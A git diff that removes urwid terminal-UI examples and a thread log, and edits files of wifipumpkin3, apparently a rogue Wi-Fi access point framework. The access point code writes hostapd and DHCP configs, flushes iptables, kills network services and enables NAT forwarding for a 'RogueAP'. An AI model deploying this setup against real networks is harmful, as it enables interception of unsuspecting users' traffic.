# Urwid web site: http://excess.org/urwid/
|
||||
|
||||
import urwid
|
||||
|
||||
def main():
|
||||
urwid.set_encoding('utf8')
|
||||
term = urwid.Terminal(None, encoding='utf-8')
|
||||
|
||||
mainframe = urwid.LineBox(
|
||||
urwid.Pile([
|
||||
('weight', 70, term),
|
||||
('fixed', 1, urwid.Filler(urwid.Edit('focus test edit: '))),
|
||||
]),
|
||||
)
|
||||
|
||||
def set_title(widget, title):
|
||||
mainframe.set_title(title)
|
||||
|
||||
def quit(*args, **kwargs):
|
||||
raise urwid.ExitMainLoop()
|
||||
|
||||
def handle_key(key):
|
||||
if key in ('q', 'Q'):
|
||||
quit()
|
||||
|
||||
urwid.connect_signal(term, 'title', set_title)
|
||||
urwid.connect_signal(term, 'closed', quit)
|
||||
|
||||
loop = urwid.MainLoop(
|
||||
mainframe,
|
||||
handle_mouse=False,
|
||||
unhandled_input=handle_key)
|
||||
|
||||
term.main_loop = loop
|
||||
loop.run()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
@ -1,67 +0,0 @@
|
||||
import urwid
|
||||
|
||||
|
||||
# Set up our color scheme
|
||||
palette = [
|
||||
('titlebar', 'black', 'white'),
|
||||
('refresh button', 'dark green,bold', 'black'),
|
||||
('quit button', 'dark red,bold', 'black'),
|
||||
('getting quote', 'dark blue', 'black'),
|
||||
('getting quote', 'dark blue', ''),
|
||||
('headers', 'white,bold', ''),
|
||||
('change ', 'dark green', ''),
|
||||
('change negative', 'dark red', '')]
|
||||
|
||||
# Create the "RANDOM QUOTES" header
|
||||
header_text = urwid.Text(u'RANDOM QUOTES')
|
||||
header = urwid.AttrMap(header_text, 'titlebar')
|
||||
|
||||
# Create the menu (will display on bottom of screen)
|
||||
menu = urwid.Text([
|
||||
u'Press (', ('refresh button', u'R'), u') to get a new quote. ',
|
||||
u'Press (', ('quit button', u'Q'), u') to quit.'])
|
||||
|
||||
# Create the actual quote box
|
||||
quote_text = urwid.Text(u'Press (R) to get your first quote!')
|
||||
quote_filler = urwid.Filler(quote_text, valign='top', top=1, bottom=1)
|
||||
v_padding = urwid.Padding(quote_filler, left=1, right=1)
|
||||
quote_box = urwid.LineBox(v_padding)
|
||||
|
||||
# Assemble the widgets into the widget layout
|
||||
layout = urwid.Frame(header=header, body=quote_box, footer=menu)
|
||||
|
||||
|
||||
def get_new_joke():
|
||||
updates = [
|
||||
('headers', u'Stock \t '.expandtabs(25)),
|
||||
('headers', u'Last Price \t Change '.expandtabs(5)),
|
||||
('headers', u'\t % Change '.expandtabs(5)),
|
||||
('headers', u'\t Gain '.expandtabs(3)),
|
||||
('headers', u'\t % Gain \n'.expandtabs(5))]
|
||||
|
||||
updates.append([
|
||||
('headers', u'Stock \t '.expandtabs(25)),
|
||||
('change', u'Last Price \t Change '.expandtabs(5)),
|
||||
('change', u'\t % Change '.expandtabs(5)),
|
||||
('headers', u'\t Gain '.expandtabs(3)),
|
||||
('headers', u'\t % Gain \n'.expandtabs(5))])
|
||||
|
||||
return updates
|
||||
|
||||
|
||||
# Handle key presses
|
||||
def handle_input(key):
|
||||
if key == 'R' or key == 'r':
|
||||
quote_box.base_widget.set_text(('getting quote', 'Getting new quote ...'))
|
||||
main_loop.draw_screen()
|
||||
quote_box.base_widget.set_text(get_new_joke())
|
||||
|
||||
elif key == 'Q' or key == 'q':
|
||||
raise urwid.ExitMainLoop()
|
||||
|
||||
|
||||
# Create the event loop
|
||||
main_loop = urwid.MainLoop(layout, palette, unhandled_input=handle_input)
|
||||
|
||||
# Kick off the program
|
||||
main_loop.run()
|
@ -1,307 +0,0 @@
|
||||
23:05:37 update_time start
|
||||
23:05:37 MainThread start
|
||||
23:06:11 update_time start
|
||||
23:06:11 MainThread start
|
||||
23:06:22 MainThread stop
|
||||
23:06:22 MainThread stopping threads
|
||||
23:06:22 update_time stop
|
||||
23:06:54 update_time start
|
||||
23:06:54 MainThread start
|
||||
23:07:00 MainThread stop
|
||||
23:07:00 MainThread stopping threads
|
||||
23:07:00 update_time stop
|
||||
23:42:24 update_time start
|
||||
23:42:24 MainThread start
|
||||
23:44:18 update_time start
|
||||
23:44:18 MainThread start
|
||||
23:44:57 update_time start
|
||||
23:44:57 MainThread start
|
||||
23:45:02 MainThread stop
|
||||
23:45:02 MainThread stopping threads
|
||||
23:45:02 update_time stop
|
||||
23:45:35 update_time start
|
||||
23:45:35 MainThread start
|
||||
23:45:38 MainThread stop
|
||||
23:45:38 MainThread stopping threads
|
||||
23:45:38 update_time stop
|
||||
22:38:53 update_time start
|
||||
22:38:53 MainThread start
|
||||
22:39:22 update_time start
|
||||
22:39:22 MainThread start
|
||||
22:40:02 update_time start
|
||||
22:40:02 MainThread start
|
||||
22:41:19 update_time start
|
||||
22:41:19 MainThread start
|
||||
22:41:35 update_time start
|
||||
22:41:35 MainThread start
|
||||
22:42:24 update_time start
|
||||
22:42:24 MainThread start
|
||||
22:43:09 update_time start
|
||||
22:43:09 MainThread start
|
||||
22:43:31 update_time start
|
||||
22:43:31 MainThread start
|
||||
22:44:07 update_time start
|
||||
22:44:07 MainThread start
|
||||
22:44:33 update_time start
|
||||
22:44:33 MainThread start
|
||||
22:54:33 update_time start
|
||||
22:54:33 MainThread start
|
||||
22:54:38 MainThread stop
|
||||
22:54:38 MainThread stopping threads
|
||||
22:54:38 update_time stop
|
||||
22:55:12 update_time start
|
||||
22:55:12 MainThread start
|
||||
22:55:37 update_time start
|
||||
22:55:37 MainThread start
|
||||
22:56:02 update_time start
|
||||
22:56:02 MainThread start
|
||||
22:57:14 update_time start
|
||||
22:57:14 MainThread start
|
||||
22:57:38 update_time start
|
||||
22:57:38 MainThread start
|
||||
22:58:14 update_time start
|
||||
22:58:14 MainThread start
|
||||
22:58:23 update_time start
|
||||
22:58:23 MainThread start
|
||||
22:58:27 MainThread stop
|
||||
22:58:27 MainThread stopping threads
|
||||
22:58:27 update_time stop
|
||||
22:58:42 update_time start
|
||||
22:58:42 MainThread start
|
||||
22:58:45 MainThread stop
|
||||
22:58:45 MainThread stopping threads
|
||||
22:58:45 update_time stop
|
||||
22:59:15 update_time start
|
||||
22:59:15 MainThread start
|
||||
23:00:28 update_time start
|
||||
23:00:28 MainThread start
|
||||
23:00:56 update_time start
|
||||
23:00:56 MainThread start
|
||||
23:01:08 update_time start
|
||||
23:01:08 MainThread start
|
||||
23:01:38 update_time start
|
||||
23:01:38 MainThread start
|
||||
23:01:46 MainThread stop
|
||||
23:01:46 MainThread stopping threads
|
||||
23:01:46 update_time stop
|
||||
23:02:52 update_time start
|
||||
23:02:52 MainThread start
|
||||
23:03:16 update_time start
|
||||
23:03:16 MainThread start
|
||||
23:03:48 update_time start
|
||||
23:03:48 MainThread start
|
||||
23:03:56 MainThread stop
|
||||
23:03:56 MainThread stopping threads
|
||||
23:03:56 update_time stop
|
||||
23:04:15 update_time start
|
||||
23:04:15 MainThread start
|
||||
23:04:21 MainThread stop
|
||||
23:04:21 MainThread stopping threads
|
||||
23:04:21 update_time stop
|
||||
23:05:03 update_time start
|
||||
23:05:03 MainThread start
|
||||
23:05:50 update_time start
|
||||
23:05:50 MainThread start
|
||||
23:06:13 update_time start
|
||||
23:06:13 MainThread start
|
||||
23:06:54 update_time start
|
||||
23:06:54 MainThread start
|
||||
23:07:21 update_time start
|
||||
23:07:21 MainThread start
|
||||
23:08:36 update_time start
|
||||
23:08:36 MainThread start
|
||||
23:08:39 MainThread stop
|
||||
23:08:39 MainThread stopping threads
|
||||
23:08:39 update_time stop
|
||||
23:09:33 update_time start
|
||||
23:09:33 MainThread start
|
||||
23:10:09 update_time start
|
||||
23:10:09 MainThread start
|
||||
23:10:25 update_time start
|
||||
23:10:25 MainThread start
|
||||
23:10:41 update_time start
|
||||
23:10:41 MainThread start
|
||||
23:10:53 update_time start
|
||||
23:10:53 MainThread start
|
||||
23:11:22 update_time start
|
||||
23:11:22 MainThread start
|
||||
23:11:58 update_time start
|
||||
23:11:58 MainThread start
|
||||
23:12:04 MainThread stop
|
||||
23:12:04 MainThread stopping threads
|
||||
23:12:04 update_time stop
|
||||
23:12:16 update_time start
|
||||
23:12:16 MainThread start
|
||||
23:12:53 update_time start
|
||||
23:12:53 MainThread start
|
||||
23:12:58 MainThread stop
|
||||
23:12:58 MainThread stopping threads
|
||||
23:12:58 update_time stop
|
||||
23:13:00 update_time start
|
||||
23:13:00 MainThread start
|
||||
23:13:03 MainThread stop
|
||||
23:13:03 MainThread stopping threads
|
||||
23:13:03 update_time stop
|
||||
23:13:17 update_time start
|
||||
23:13:17 MainThread start
|
||||
23:15:42 update_time start
|
||||
23:15:42 MainThread start
|
||||
23:17:14 update_time start
|
||||
23:17:14 MainThread start
|
||||
23:17:35 update_time start
|
||||
23:17:35 MainThread start
|
||||
23:17:51 MainThread stop
|
||||
23:17:51 MainThread stopping threads
|
||||
23:17:51 update_time stop
|
||||
23:18:32 update_time start
|
||||
23:18:32 MainThread start
|
||||
23:20:43 update_time start
|
||||
23:20:43 MainThread start
|
||||
23:20:56 update_time start
|
||||
23:20:56 MainThread start
|
||||
23:21:13 update_time start
|
||||
23:21:13 MainThread start
|
||||
23:21:15 MainThread stop
|
||||
23:21:15 MainThread stopping threads
|
||||
23:21:15 update_time stop
|
||||
23:21:51 update_time start
|
||||
23:21:51 MainThread start
|
||||
23:23:35 update_time start
|
||||
23:23:35 MainThread start
|
||||
23:23:49 update_time start
|
||||
23:23:49 MainThread start
|
||||
23:27:07 update_time start
|
||||
23:27:07 MainThread start
|
||||
23:28:16 update_time start
|
||||
23:28:16 MainThread start
|
||||
23:28:17 MainThread stop
|
||||
23:28:17 MainThread stopping threads
|
||||
23:28:17 update_time stop
|
||||
23:28:31 update_time start
|
||||
23:28:31 MainThread start
|
||||
23:33:18 update_time start
|
||||
23:33:18 MainThread start
|
||||
23:34:22 update_time start
|
||||
23:34:22 MainThread start
|
||||
23:34:48 MainThread stop
|
||||
23:34:48 MainThread stopping threads
|
||||
23:34:48 update_time stop
|
||||
23:35:09 update_time start
|
||||
23:35:09 MainThread start
|
||||
23:35:29 update_time start
|
||||
23:35:29 MainThread start
|
||||
23:35:50 MainThread stop
|
||||
23:35:50 MainThread stopping threads
|
||||
23:35:50 update_time stop
|
||||
09:23:37 update_time start
|
||||
09:23:37 MainThread start
|
||||
09:24:08 MainThread stop
|
||||
09:24:08 MainThread stopping threads
|
||||
09:24:08 update_time stop
|
||||
11:52:32 update_time start
|
||||
11:52:32 MainThread start
|
||||
11:52:35 MainThread stop
|
||||
11:52:35 MainThread stopping threads
|
||||
11:52:35 update_time stop
|
||||
11:52:46 update_time start
|
||||
11:52:46 MainThread start
|
||||
11:53:03 update_time start
|
||||
11:53:03 MainThread start
|
||||
11:53:05 MainThread stop
|
||||
11:53:05 MainThread stopping threads
|
||||
11:53:05 update_time stop
|
||||
11:54:00 update_time start
|
||||
11:54:00 MainThread start
|
||||
11:54:02 MainThread stop
|
||||
11:54:02 MainThread stopping threads
|
||||
11:54:02 update_time stop
|
||||
11:54:04 update_time start
|
||||
11:54:04 MainThread start
|
||||
11:54:05 MainThread stop
|
||||
11:54:05 MainThread stopping threads
|
||||
11:54:05 update_time stop
|
||||
11:54:11 update_time start
|
||||
11:54:11 MainThread start
|
||||
11:54:12 MainThread stop
|
||||
11:54:12 MainThread stopping threads
|
||||
11:54:12 update_time stop
|
||||
11:54:15 update_time start
|
||||
11:54:15 MainThread start
|
||||
11:54:16 MainThread stop
|
||||
11:54:16 MainThread stopping threads
|
||||
11:54:16 update_time stop
|
||||
11:54:18 MainThread start
|
||||
11:54:18 update_time start
|
||||
11:54:19 MainThread stop
|
||||
11:54:19 MainThread stopping threads
|
||||
11:54:19 update_time stop
|
||||
11:54:53 update_time start
|
||||
11:54:53 MainThread start
|
||||
11:54:57 MainThread stop
|
||||
11:54:57 MainThread stopping threads
|
||||
11:54:57 update_time stop
|
||||
11:55:30 update_time start
|
||||
11:55:30 MainThread start
|
||||
11:55:32 MainThread stop
|
||||
11:55:32 MainThread stopping threads
|
||||
11:55:32 update_time stop
|
||||
11:56:05 update_time start
|
||||
11:56:05 MainThread start
|
||||
11:56:07 MainThread stop
|
||||
11:56:07 MainThread stopping threads
|
||||
11:56:07 update_time stop
|
||||
11:56:09 update_time start
|
||||
11:56:09 MainThread start
|
||||
11:56:16 MainThread stop
|
||||
11:56:16 MainThread stopping threads
|
||||
11:56:16 update_time stop
|
||||
11:56:48 update_time start
|
||||
11:56:48 MainThread start
|
||||
11:56:49 MainThread stop
|
||||
11:56:49 MainThread stopping threads
|
||||
11:56:49 update_time stop
|
||||
11:56:54 update_time start
|
||||
11:56:54 MainThread start
|
||||
11:56:55 MainThread stop
|
||||
11:56:55 MainThread stopping threads
|
||||
11:56:55 update_time stop
|
||||
11:57:04 update_time start
|
||||
11:57:04 MainThread start
|
||||
11:57:05 MainThread stop
|
||||
11:57:05 MainThread stopping threads
|
||||
11:57:05 update_time stop
|
||||
21:03:46 update_time start
|
||||
21:03:46 MainThread start
|
||||
21:04:15 MainThread stop
|
||||
21:04:15 MainThread stopping threads
|
||||
21:04:15 update_time stop
|
||||
00:10:47 update_time start
|
||||
00:10:47 MainThread start
|
||||
00:10:55 MainThread stop
|
||||
00:10:55 MainThread stopping threads
|
||||
00:10:55 update_time stop
|
||||
00:24:53 update_time start
|
||||
00:24:53 MainThread start
|
||||
00:25:19 MainThread stop
|
||||
00:25:19 MainThread stopping threads
|
||||
00:25:19 update_time stop
|
||||
00:25:33 update_time start
|
||||
00:25:33 MainThread start
|
||||
00:25:53 MainThread stop
|
||||
00:25:53 MainThread stopping threads
|
||||
00:25:53 update_time stop
|
||||
00:26:03 update_time start
|
||||
00:26:03 MainThread start
|
||||
00:26:14 MainThread stop
|
||||
00:26:14 MainThread stopping threads
|
||||
00:26:14 update_time stop
|
||||
21:31:38 update_time start
|
||||
21:31:38 MainThread start
|
||||
21:31:50 MainThread stop
|
||||
21:31:50 MainThread stopping threads
|
||||
21:31:50 update_time stop
|
||||
21:31:55 update_time start
|
||||
21:31:55 MainThread start
|
||||
21:32:05 MainThread stop
|
||||
21:32:05 MainThread stopping threads
|
||||
21:32:05 update_time stop
|
@ -1,86 +0,0 @@
|
||||
import logging, queue, sys, threading, time
|
||||
|
||||
import urwid
|
||||
|
||||
logging.basicConfig(
|
||||
level=logging.DEBUG,
|
||||
format="%(asctime)-4s %(threadName)s %(message)s",
|
||||
datefmt="%H:%M:%S",
|
||||
filename='trace.log',
|
||||
)
|
||||
|
||||
class Interface:
|
||||
palette = [
|
||||
('body', 'white', 'black'),
|
||||
('ext', 'white', 'dark blue'),
|
||||
('ext_hi', 'light cyan', 'dark blue', 'bold'),
|
||||
]
|
||||
|
||||
header_text = [
|
||||
('ext_hi', 'ESC'), ':quit ',
|
||||
('ext_hi', 'UP'), ',', ('ext_hi', 'DOWN'), ':scroll',
|
||||
]
|
||||
|
||||
def __init__(self, msg_queue):
|
||||
self.header = urwid.AttrWrap(urwid.Text(self.header_text), 'ext')
|
||||
self.flowWalker = urwid.SimpleListWalker([])
|
||||
self.body = urwid.ListBox(self.flowWalker)
|
||||
self.footer = urwid.AttrWrap(urwid.Edit("Edit: "), 'ext')
|
||||
self.view = urwid.Frame(
|
||||
urwid.AttrWrap(self.body, 'body'),
|
||||
header = self.header,
|
||||
footer = self.footer)
|
||||
self.loop = urwid.MainLoop(self.view, self.palette,
|
||||
unhandled_input = self.unhandled_input)
|
||||
self.msg_queue = msg_queue
|
||||
self.check_messages(self.loop, None)
|
||||
|
||||
def unhandled_input(self, k):
|
||||
if k == 'esc':
|
||||
raise urwid.ExitMainLoop()
|
||||
|
||||
def check_messages(self, loop, *_args):
|
||||
"""add message to bottom of screen"""
|
||||
loop.set_alarm_in(
|
||||
sec=0.5,
|
||||
callback=self.check_messages,
|
||||
)
|
||||
try:
|
||||
msg = self.msg_queue.get_nowait()
|
||||
except :
|
||||
return
|
||||
self.flowWalker.append(
|
||||
urwid.Text(('body', msg))
|
||||
)
|
||||
self.body.set_focus(
|
||||
len(self.flowWalker)-1, 'above'
|
||||
)
|
||||
|
||||
def update_time(stop_event, msg_queue):
|
||||
"""send timestamp to queue every second"""
|
||||
logging.info('start')
|
||||
while not stop_event.wait(timeout=1.0):
|
||||
msg_queue.put( time.strftime('time %X') )
|
||||
logging.info('stop')
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
stop_ev = threading.Event()
|
||||
message_q = queue.Queue()
|
||||
|
||||
threading.Thread(
|
||||
target=update_time, args=[stop_ev, message_q],
|
||||
name='update_time',
|
||||
).start()
|
||||
|
||||
logging.info('start')
|
||||
Interface(message_q).loop.run()
|
||||
logging.info('stop')
|
||||
|
||||
# after interface exits, signal threads to exit, wait for them
|
||||
logging.info('stopping threads')
|
||||
|
||||
stop_ev.set()
|
||||
for th in threading.enumerate():
|
||||
if th != threading.current_thread():
|
||||
th.join()
|
@ -5,6 +5,23 @@ from wifipumpkin3.core.config.globalimport import *
|
||||
from wifipumpkin3.modules import *
|
||||
from wifipumpkin3.modules import module_list, all_modules
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
approot = QtCore.QCoreApplication.instance()
|
||||
|
||||
class PumpkinShell(Qt.QObject, ConsoleUI):
|
||||
@ -34,13 +51,16 @@ class PumpkinShell(Qt.QObject, ConsoleUI):
|
||||
print(display_messages('Session id: {} '.format(
|
||||
setcolor(self.currentSessionID, color='red', underline=True)), info=True))
|
||||
|
||||
self.all_modules = module_list
|
||||
super(PumpkinShell, self).__init__(parse_args=self.parse_args)
|
||||
|
||||
def initialize_core(self):
|
||||
""" this method is called in __init__ """
|
||||
# set current session unique id
|
||||
self.conf.set('accesspoint','current_session', self.currentSessionID)
|
||||
if self.parse_args.interface:
|
||||
self.conf.set('accesspoint','interface', self.parse_args.interface)
|
||||
|
||||
self.all_modules = module_list
|
||||
|
||||
self.coreui = DefaultController(self)
|
||||
self.logger_manager = LoggerManager.getInstance()
|
||||
@ -71,7 +91,7 @@ class PumpkinShell(Qt.QObject, ConsoleUI):
|
||||
|
||||
self.commands = \
|
||||
{
|
||||
'interface': 'interfaceAP',
|
||||
'interface': 'interface',
|
||||
'ssid': 'ssid',
|
||||
'bssid': 'bssid',
|
||||
'channel':'channel',
|
||||
@ -145,9 +165,6 @@ class PumpkinShell(Qt.QObject, ConsoleUI):
|
||||
print(display_messages('The interface not found! ',error=True))
|
||||
sys.exit(1)
|
||||
|
||||
self.conf.set('accesspoint',self.commands['interface'],self.parse_args.interface)
|
||||
self.conf.set('accesspoint','current_session',self.parse_args.session)
|
||||
|
||||
if self.wireless_controller.Start() != None: return
|
||||
for ctr_name, ctr_instance in self.coreui.getController(None).items():
|
||||
if (ctr_name != 'wireless_controller'):
|
||||
@ -171,12 +188,11 @@ class PumpkinShell(Qt.QObject, ConsoleUI):
|
||||
def killThreads(self):
|
||||
if not len(self.Apthreads['RogueAP']) > 0:
|
||||
return
|
||||
|
||||
self.conf.set('accesspoint','status_ap', False)
|
||||
# get all command plugins and proxys
|
||||
for ctr_name, ctr_instance in self.coreui.getController(None).items():
|
||||
ctr_instance.Stop()
|
||||
|
||||
self.conf.set('accesspoint', 'statusAP',False)
|
||||
for thread in self.Apthreads['RogueAP']:
|
||||
if thread is not None:
|
||||
if (isinstance(thread, list)):
|
||||
@ -261,7 +277,7 @@ class PumpkinShell(Qt.QObject, ConsoleUI):
|
||||
headers_table, output_table = ["BSSID", "SSID",
|
||||
"Channel", "Iface", "StatusAP", "Security"], []
|
||||
print(display_messages('Settings AccessPoint:',info=True,sublime=True))
|
||||
status_ap =self.conf.get('accesspoint',"statusAP", format=bool)
|
||||
status_ap =self.conf.get('accesspoint',"status_ap", format=bool)
|
||||
output_table.append([
|
||||
self.conf.get('accesspoint',self.commands["bssid"]),
|
||||
self.conf.get('accesspoint',self.commands["ssid"]),
|
||||
|
@ -1 +1,2 @@
|
||||
__version__ = '1.0.0'
|
||||
__version__ = '1.0.0'
|
||||
__codename__='nidavellir'
|
@ -1,301 +0,0 @@
|
||||
import configparser
|
||||
from grp import getgrnam
|
||||
from os import popen, path, mkdir, chown
|
||||
from pwd import getpwnam
|
||||
from shutil import move
|
||||
from subprocess import \
|
||||
(check_output,
|
||||
STDOUT, CalledProcessError,
|
||||
Popen, PIPE, call
|
||||
)
|
||||
|
||||
from PyQt5.QtCore import pyqtSignal,QObject
|
||||
import wifipumpkin3.core.utility.constants as C
|
||||
from wifipumpkin3.core.common.platforms import Linux
|
||||
from wifipumpkin3.core.common.platforms import exec_bash
|
||||
from wifipumpkin3.core.controls.threads import ProcessHostapd
|
||||
from wifipumpkin3.core.packets.dhcpserver import DHCPThread
|
||||
from wifipumpkin3.core.utility.collection import SettingsINI
|
||||
from wifipumpkin3.core.utility.printer import display_messages
|
||||
import time
|
||||
|
||||
|
||||
class AccessPoint(Linux):
|
||||
sendStatusPoint = pyqtSignal(bool)
|
||||
sendStatusIface = pyqtSignal(bool)
|
||||
def __init__(self,parent):
|
||||
super(AccessPoint, self)
|
||||
QObject.__init__(self)
|
||||
self.parent = parent
|
||||
self.conf = SettingsINI(C.CONFIG_INI)
|
||||
self.ifaceHostapd = self.conf.get('accesspoint','interfaceAP')
|
||||
self.threadsAP = {'RougeAP': []}
|
||||
self.DHCP = self.getDHCPConfig()
|
||||
self.queue = []
|
||||
|
||||
def Configure(self):
|
||||
''' configure interface and dhcpd for mount Access Point '''
|
||||
self.SettingsAP = {
|
||||
'interface':
|
||||
[
|
||||
'ifconfig %s up'%(self.ifaceHostapd),
|
||||
'ifconfig %s %s netmask %s'%(self.ifaceHostapd,self.DHCP['router'],self.DHCP['netmask']),
|
||||
'ifconfig %s mtu 1400'%(self.ifaceHostapd),
|
||||
'route add -net %s netmask %s gw %s'%(self.DHCP['subnet'],
|
||||
self.DHCP['netmask'],self.DHCP['router'])
|
||||
],
|
||||
'kill':
|
||||
[
|
||||
'iptables -w --flush',
|
||||
'iptables -w --table nat --flush',
|
||||
'iptables -w --delete-chain',
|
||||
'iptables -w --table nat --delete-chain',
|
||||
'killall dhpcd 2>/dev/null',
|
||||
'ifconfig {} down'.format(self.ifaceHostapd),
|
||||
'ifconfig {} up'.format(self.ifaceHostapd),
|
||||
'ifconfig {} 0'.format(self.ifaceHostapd),
|
||||
],
|
||||
'hostapd':
|
||||
[
|
||||
'interface={}\n'.format(self.ifaceHostapd),
|
||||
'ssid={}\n'.format(self.conf.get('accesspoint','ssid')),
|
||||
'channel={}\n'.format(self.conf.get('accesspoint','channel')),
|
||||
'bssid={}\n'.format(self.conf.get('accesspoint','bssid')),
|
||||
],
|
||||
'dhcp-server':
|
||||
[
|
||||
'authoritative;\n',
|
||||
'default-lease-time {};\n'.format(self.DHCP['leasetimeDef']),
|
||||
'max-lease-time {};\n'.format(self.DHCP['leasetimeMax']),
|
||||
'subnet %s netmask %s {\n'%(self.DHCP['subnet'],self.DHCP['netmask']),
|
||||
'option routers {};\n'.format(self.DHCP['router']),
|
||||
'option subnet-mask {};\n'.format(self.DHCP['netmask']),
|
||||
'option broadcast-address {};\n'.format(self.DHCP['broadcast']),
|
||||
'option domain-name \"%s\";\n'%(self.conf.get('accesspoint','ssid')),
|
||||
'option domain-name-servers {};\n'.format('8.8.8.8'),
|
||||
'range {};\n'.format(self.DHCP['range'].replace('/',' ')),
|
||||
'}',
|
||||
],
|
||||
}
|
||||
print(display_messages('enable forwarding in iptables...',sucess=True))
|
||||
Linux.set_ip_forward(1)
|
||||
# clean iptables settings
|
||||
for line in self.SettingsAP['kill']: exec_bash(line)
|
||||
# set interface using ifconfig
|
||||
for line in self.SettingsAP['interface']: exec_bash(line)
|
||||
# check if dhcp option is enabled.
|
||||
if self.conf.get('accesspoint','dhcp_server',format=bool):
|
||||
with open(C.DHCPCONF_PATH,'w') as dhcp:
|
||||
for line in self.SettingsAP['dhcp-server']: dhcp.write(line)
|
||||
dhcp.close()
|
||||
if not path.isdir('/etc/dhcp/'): mkdir('/etc/dhcp')
|
||||
move(C.DHCPCONF_PATH, '/etc/dhcp/')
|
||||
|
||||
|
||||
def checkNetworkAP(self):
|
||||
# check if interface has been support AP mode (necessary for hostapd)
|
||||
if self.conf.get('accesspoint','check_support_ap_mode',format=bool):
|
||||
if not 'AP' in self.get_supported_interface(self.ifaceHostapd)['Supported']:
|
||||
print(display_messages('No Network Supported failed',error=True))
|
||||
print('failed AP ode: warning interface, the feature\n'
|
||||
'Access Point Mode is Not Supported By This Device ->({}).\n'
|
||||
'Your adapter does not support for create Access Point Network.\n'.format(self.ifaceHostapd))
|
||||
return False
|
||||
|
||||
# check if Wireless interface is being used
|
||||
if self.ifaceHostapd == self.interfaces['activated'][0]:
|
||||
iwconfig = Popen(['iwconfig'], stdout=PIPE,shell=False,stderr=PIPE)
|
||||
for line in iwconfig.stdout.readlines():
|
||||
if self.ifaceHostapd in str(line,encoding='ascii'):
|
||||
print(display_messages('Wireless interface is busy',error=True))
|
||||
print('Connection has been detected, this {} is joined the correct Wi-Fi network\n'
|
||||
'Device or resource busy\n{}\nYou may need to another Wi-Fi USB Adapter\n'
|
||||
'for create AP or try use with local connetion(Ethernet).\n'
|
||||
''.format(self.ifaceHostapd,str(line,encoding='ascii')))
|
||||
return False
|
||||
|
||||
# check if range ip class is same
|
||||
gateway_wp, gateway = self.DHCP['router'],self.interfaces['gateway']
|
||||
if gateway != None:
|
||||
if gateway_wp[:len(gateway_wp)-len(gateway_wp.split('.').pop())] == \
|
||||
gateway[:len(gateway)-len(gateway.split('.').pop())]:
|
||||
print(display_messages('DHCP Server settings',error=True))
|
||||
print('The DHCP server check if range ip class is same.\n'
|
||||
'it works, but not share internet connection in some case.\n'
|
||||
'for fix this, You need change on tab (settings -> Class Ranges)\n'
|
||||
'now you have choose the Class range different of your network.\n')
|
||||
return False
|
||||
return True
|
||||
|
||||
def check_Wireless_Security(self):
|
||||
pass
|
||||
|
||||
def start(self):
|
||||
# check connection with internet
|
||||
self.interfaces = Linux.get_interfaces()
|
||||
if not (self.checkNetworkAP()):
|
||||
return
|
||||
|
||||
# check if using ethernet or wireless connection
|
||||
print(display_messages('configuring hostapd...',info=True))
|
||||
if self.interfaces['activated'][1] == 'ethernet' or self.interfaces['activated'][1] == 'ppp' \
|
||||
or self.interfaces['activated'][0] == None: #allow use without internet connection
|
||||
# change Wi-Fi state card
|
||||
Linux.kill_procInterfaceBusy() # killing network process
|
||||
try:
|
||||
check_output(['nmcli','radio','wifi',"off"]) # old version
|
||||
except Exception:
|
||||
try:
|
||||
check_output(['nmcli','nm','wifi',"off"]) # new version
|
||||
except Exception as error:
|
||||
print(display_messages('Error nmcli',error=True))
|
||||
print(error)
|
||||
finally:
|
||||
call(['rfkill', 'unblock' ,'wifi'])
|
||||
|
||||
#configure interface
|
||||
self.Configure()
|
||||
self.check_Wireless_Security() # check if user set wireless password
|
||||
|
||||
ignore = ('interface=','ssid=','channel=','essid=')
|
||||
with open(C.HOSTAPDCONF_PATH,'w') as apconf:
|
||||
for i in self.SettingsAP['hostapd']:apconf.write(i)
|
||||
apconf.close()
|
||||
|
||||
# create thread for hostapd and connect get_Hostapd_Response function
|
||||
self.hostapd_path = self.conf.get('accesspoint', 'hostapd_path')
|
||||
#self.Thread_hostapd = ProcessHostapd([self.hostapd_path,C.HOSTAPDCONF_PATH], 'MDSNjD')
|
||||
self.Thread_hostapd = ProcessHostapd({self.hostapd_path :[C.HOSTAPDCONF_PATH]}, 'MDSNjD')
|
||||
self.Thread_hostapd.setObjectName('hostapd')
|
||||
self.Thread_hostapd.statusAP_connected.connect(self.get_Hostapd_Response)
|
||||
self.Thread_hostapd.statusAPError.connect(self.get_error_hostapdServices)
|
||||
self.threadsAP['RougeAP'].append(self.Thread_hostapd)
|
||||
|
||||
# create thread dhcpd and connect fuction get_DHCP_Requests_clients
|
||||
print(display_messages('configuring dhcpd...',info=True))
|
||||
if self.conf.get('accesspoint','dhcpd_server',format=bool):
|
||||
# create dhcpd.leases and set permission for acesss DHCPD
|
||||
leases = C.DHCPLEASES_PATH
|
||||
if not path.exists(leases[:-12]):
|
||||
mkdir(leases[:-12])
|
||||
if not path.isfile(leases):
|
||||
with open(leases, 'wb') as leaconf:
|
||||
leaconf.close()
|
||||
uid = getpwnam('root').pw_uid
|
||||
gid = getgrnam('root').gr_gid
|
||||
chown(leases, uid, gid)
|
||||
|
||||
elif self.conf.get('accesspoint','pydhcp_server',format=bool):
|
||||
if self.conf.get('accesspoint','pydns_server',format=bool):
|
||||
pass
|
||||
|
||||
self.threadDHCP = DHCPThread(self.ifaceHostapd,self.DHCP)
|
||||
self.threadsAP['RougeAP'].append(self.threadDHCP)
|
||||
self.threadDHCP.DHCPProtocol._request.connect(self.get_DHCPoutPut)
|
||||
|
||||
print(display_messages('sharing internet connection with NAT...', info=True))
|
||||
try:
|
||||
for ech in self.conf.get_all_childname('iptables'):
|
||||
ech = self.conf.get('iptables', ech)
|
||||
if '$inet' in ech:
|
||||
ech = ech.replace('$inet',self.interfaces['activated'][0])
|
||||
